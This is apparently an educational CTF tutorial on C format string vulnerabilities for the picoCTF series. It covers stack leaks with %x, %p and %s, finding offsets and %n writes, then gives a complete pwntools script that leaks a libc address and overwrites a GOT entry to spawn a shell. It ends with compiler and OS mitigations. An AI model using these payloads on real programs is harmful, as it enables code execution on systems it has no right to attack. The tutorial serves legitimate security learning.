Introduction
A format string vulnerability occurs when a C program passes user-controlled input directly as the first argument to printf or a related function. Instead of treating the input as data to print, printf interprets it as a format string and acts on any % specifiers it contains. An attacker can use this to read arbitrary memory and, in some cases, write to any address in the process. MITRE catalogues the class as CWE-134.
The bug class became public knowledge remarkably late. CVE-2000-0573, the remote-root format string in wu-ftpd's SITE EXEC handler, was disclosed in June 2000 and is generally treated as the moment the industry noticed, roughly 27 years after printf shipped in C. The reference text that followed, scut and team teso's "Exploiting Format String Vulnerabilities", still describes the exact %n write primitive you will use below.
This vulnerability class is at the heart of the picoCTF format string series: format string 0, format string 1, format string 2, and format string 3. Each challenge adds one more concept. Work through them in order.
How printf works
The printf family of functions reads a format string and consumes additional arguments from the call stack to fill in each format specifier. When called correctly it looks like this:
printf("%s scored %d points", username, score);// The format string is a string literal, not user input.
The vulnerable version passes user input as the format string:
char buf[256];fgets(buf, sizeof(buf), stdin);printf(buf); // BUG: buf is user-controlled
When printf encounters %s in the format string it looks on the stack for the next argument (a pointer to a string) and dereferences it. If the caller never provided that argument, printf reads whatever happens to be on the stack at that position, which is attacker-readable process memory.
This is not undefined-behaviour folklore, it is the specified contract. POSIX states that if there are insufficient arguments for the format, the behaviour is undefined, and every mainstream libc implements "undefined" as "keep walking the argument area." The same page defines nine conversion-specifier length modifiers including hh, h, and l, which is where %hhn and %hn come from, and it defines the positional %N$ form you will use to skip straight to an offset.
printf("%s", buf) is used instead, the input is always treated as a plain string and no specifiers are interpreted.Reading memory with %x and %s
Send %x specifiers to dump stack values as hex integers. Each %x consumes one word from the stack:
$ echo '%x %x %x %x %x %x %x %x' | ./vulnerablef7f9e580 0 0 0 f7f5a700 61616161 25207825 78252078
Use %p instead of %x to get pointer-width output with a 0x prefix, which is cleaner on 64-bit systems:
$ echo '%p %p %p %p %p %p' | ./vulnerable
If you want to read from a specific stack offset without cycling through all the preceding ones, use the positional argument syntax %N$x where N is the index:
$ echo '%6$x' | ./vulnerable # read the 6th stack word$ echo '%6$p' | ./vulnerable # same, as a pointer
To dereference a pointer on the stack and read the string it points to, use %s:
$ echo '%6$s' | ./vulnerable # dereference the 6th stack word as a string
%s will crash the program if the value at the target position is not a valid readable pointer. Use %x or %p first to identify which positions hold addresses, then dereference specific ones.Finding the format string offset
The key skill in format string exploitation is finding the offset at which your own input appears on the stack. Once you know it, you can place an address in the input and use %N$s to dereference it, or %N$n to write to it.
The technique is to start the input with a recognizable marker like AAAA (hex value 0x41414141) and then scan the stack output for that value:
$ echo 'AAAA %x %x %x %x %x %x %x %x %x %x' | ./vulnerableAAAA f7f9e580 0 0 0 f7f5a700 41414141 25207825 ...# ^^^^^^^^# This is our AAAA, at position 6
In the example above, our marker appears at the 6th position. We can confirm this with:
$ echo 'AAAA %6$x' | ./vulnerableAAAA 41414141 # confirmed: offset is 6
On 64-bit systems, use 8-byte markers (e.g. AAAAAAAA, hex 0x4141414141414141) and look for them in the %p output.
Expect the offset to jump when you move from 32-bit to 64-bit, and expect it by a known amount. The System V AMD64 ABI passes the first six integer or pointer arguments in registers (rdi, rsi, rdx, rcx, r8, r9) and only spills the seventh onward to the stack. Since rdi holds the format string itself, glibc satisfies %1$ through %5$ from the remaining registers, and %6$ is the first specifier that reads actual stack memory. On 32-bit i386 every argument is on the stack, so %1$ already reads memory. That single ABI difference accounts for nearly every "the tutorial said offset 4 and mine is 11" moment.
Writing with %n
The %n specifier writes the number of bytes printed so far into the pointer argument it consumes. This turns a read vulnerability into an arbitrary write. If you can place a target address at a known stack offset, %N$n will write to it.
The value written equals the number of characters already output by printf. Use width padding to control it. For example, to write the value 100 (0x64):
# Pad to exactly 100 characters before %n# The target address is at stack offset 6printf '%100c%6$n'
To write larger values (like a function address), use %hn (write 2 bytes) or split the write into multiple partial writes, one 2-byte chunk at a time. This is the basis of the GOT (Global Offset Table) overwrite technique used in format string 3.
Splitting is a practical necessity, not an elegance. A full 4-byte %n write of an address like 0x7ffff7a52390 would require printf to emit that many characters first, which is roughly 140 terabytes of output. Two %hn writes cap each padding run at 65,535 characters, and four %hhn writes cap it at 255. That is why pwntools' fmtstr_payload defaults to write_size='byte': the shortest payload, at the cost of more stack slots consumed.
checksec (part of pwntools) to check whether the binary has RELRO. Full RELRO makes the GOT read-only after dynamic linking, preventing GOT overwrites. Partial RELRO (the default) leaves it writable.GOT and PLT primer
The GOT overwrite technique used in format string 3 requires understanding two tables that exist in every dynamically linked Linux binary.
The PLT (Procedure Linkage Table)
When a binary calls a shared library function like puts, it does not call the real puts directly. Instead it calls a stub in the PLT, which looks up the real address in the GOT and jumps to it. The PLT address for a function is fixed and can be found with:
objdump -d ./binary | grep '<puts@plt>'# Example: 0000000000401030 <puts@plt>
The GOT (Global Offset Table)
The GOT is a writable table of pointers. When the dynamic linker resolves puts for the first time, it writes the real address of puts into a GOT entry. Every subsequent call goes through the PLT stubs and reads from the GOT. On a binary with Partial RELRO, these GOT entries are writable after startup.
The relocation type in the objdump -R output tells you which regime you are in. R_X86_64_JUMP_SLOT entries are lazily bound and live in .got.plt, which stays writable under Partial RELRO; R_X86_64_GLOB_DAT entries live in .got and are covered by the PT_GNU_RELRO program header defined in the ELF specification. Full RELRO is just -Wl,-z,relro,-z,now: the linker resolves everything at load time and then mprotects the whole table read-only, which is why the attack below disappears entirely on a hardened build.
# Find the GOT entry address for a function:objdump -R ./binary | grep puts# Example: 0000000000404018 R_X86_64_JUMP_SLOT puts@GLIBC# ^^^^^^^^^^^^^^^^ this is the GOT entry you want to overwrite
Why overwriting the GOT gives code execution
If you overwrite the GOT entry for puts with the address of system, then the next time the binary calls puts(something), it actually calls system(something). If you control what string is passed toputs, you pass "/bin/sh" and get a shell.
# Step 1: find the GOT entry to overwriteGOT_puts = 0x404018 # from objdump -R# Step 2: find the address to write (system from libc, or win() from binary)system_addr = 0xdeadbeef # see 'Leaking libc with ASLR' section below# Step 3: build the format string payloadpayload = fmtstr_payload(offset, {GOT_puts: system_addr})
checksec ./binary first. Full RELRO makes the GOT read-only, blocking this attack. Partial RELRO (the default in most CTF binaries) leaves it writable. No RELRO means even the .got section is writable.Leaking a libc address with ASLR
When ASLR is enabled, the address of system changes every run. You cannot hardcode it. The format string read primitive gives you a way to leak a runtime address and compute the correct system address dynamically.
The full workflow for a PIE binary with ASLR and Partial RELRO:
from pwn import *elf = ELF('./vulnerable')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')p = process('./vulnerable')# --- Round 1: leak a libc address ---# The GOT entry for printf holds the runtime address of printf in libc.# Use %s at the right offset to dereference and print it.# First, find offset where your buffer appears on the stack (use AAAA + %p chain).offset = 6# Build a leak payload that reads the GOT entry for printf:GOT_printf = elf.got['printf']leak_payload = p64(GOT_printf) + b'%' + str(offset).encode() + b'$s'# Note: on 64-bit, the address goes AT the offset position, so align padding carefully.# fmtstr_payload cannot do reads; build this manually.p.sendline(leak_payload)leak = u64(p.recvuntil(b'\n')[:8].ljust(8, b'\x00'))# --- Compute libc base from the leak ---libc.address = leak - libc.symbols['printf']system_addr = libc.symbols['system']bin_sh_addr = next(libc.search(b'/bin/sh'))# --- Round 2: GOT overwrite ---write_payload = fmtstr_payload(offset, {elf.got['puts']: system_addr})p.sendline(write_payload)# Next call to puts('/bin/sh') becomes system('/bin/sh')p.sendline(b'/bin/sh')p.interactive()
%p %p %p ... to map the stack and find where the buffer appears, then adjust offset accordingly.Automating with pwntools
pwntools is a Python library for writing exploit scripts. It handles process I/O, socket connections, and format string payload generation:
pip install pwntools
from pwn import *# Connect to a local process or remote serverp = process('./vulnerable')# p = remote('challenge.picoctf.org', 12345)# Send a format string to leak stack valuesp.sendline(b'%p %p %p %p %p %p')leak = p.recvline()print(leak)# Build a format string payload that writes target_value to target_addr# offset = the stack index where your buffer appearspayload = fmtstr_payload(offset, {target_addr: target_value})p.sendline(payload)p.interactive()
The fmtstr_payload function from pwntools builds the entire payload for you, handling the address placement, padding arithmetic, and split writes needed to overwrite arbitrary memory. The only inputs you need are the stack offset and a dictionary of address: value pairs to write.
The picoCTF format string series
Introduces the bug conceptually. A buffer overflow of a format string crashes the program in the right way to print the flag. No memory reading required.
Read a secret value off the stack using %x specifiers. Practice scanning for a recognizable pattern in the leak output.
Overwrite a specific variable in memory using %n. Introduces the concept of writing to a known address by placing it in the input buffer.
Full GOT overwrite. Redirect a library function pointer to system so that the next call to the original function instead spawns a shell.
Mitigations
Modern compilers and operating systems include several defenses against format string exploits:
- -Wformat-security: GCC warns when printf is called with a non-literal format string. Enabled in most production builds, and folded into
-Wall -Wextraworkflows via-Wformat=2. - _FORTIFY_SOURCE: building with
-D_FORTIFY_SOURCE=2makes glibc abort at runtime if a format string containing%nsits in writable memory. Fedora has shipped this by default since 2004 and Ubuntu since 8.10, which is why%nalmost never works on a distribution binary and almost always works on a CTF binary. - Platform removal: Microsoft's CRT disabled
%nby default starting with Visual Studio 2005, requiring an explicit_set_printf_count_output(1)call to re-enable it. On Windows targets the write primitive is simply gone unless the program opts back in. - Full RELRO: marks the GOT read-only after dynamic linking, preventing GOT overwrites.
- ASLR: randomizes where the stack and libraries are loaded, making it harder to hardcode target addresses. Must be combined with an address leak step.
- Stack canaries: detect adjacent buffer overflows but do not directly mitigate format string writes.
checksec ./binary (pwntools) to see which mitigations are active on a CTF binary. Partial RELRO with no PIE is the classic easy-mode setup; Full RELRO with PIE and ASLR requires leaking an address before writing.Quick reference
| Specifier | Effect |
|---|---|
| %x | Print the next stack word as hex |
| %p | Print the next stack word as a pointer (0x...) |
| %s | Dereference the next stack word as a string pointer |
| %n | Write the bytes-printed count to the next stack pointer |
| %hn | Write 2 bytes (short) instead of 4 |
| %hhn | Write 1 byte |
| %N$x | Print the Nth stack word (1-indexed) as hex |
| %Nc | Print N space characters (controls write value for %n) |
| fmtstr_payload(off, {addr: val}) | pwntools: build a complete write payload |
Where this leads: buffer overflow for the other way to reach the return address, ASLR and PIE bypass for what to do with the libc address you just leaked, GDB and pwntools for finding the offset and building the payload without counting bytes by hand, integer overflow for the sibling bug class where the wrong number rather than the wrong pointer does the damage, and the pwn roadmap for where this tier sits in the larger path.
Sources and further reading
The specifier table above is not a convention someone invented for CTF. It is POSIX, and the ABI decides your offsets. Both are worth reading once.
- POSIX.1-2017
printffor%n, the length modifiers, and positional%N$arguments; CWE-134 for the weakness classification. - scut / team teso, "Exploiting Format String Vulnerabilities" and CVE-2000-0573 (wu-ftpd), the bug that made the class famous.
- System V AMD64 ABI for the six register-passed arguments that shift every 64-bit offset, and the ELF specification for
PT_GNU_RELROand the JUMP_SLOT relocations behind the GOT. - glibc source fortification for what
_FORTIFY_SOURCEactually blocks, and pwntoolsfmtstrfor the payload-builder semantics.
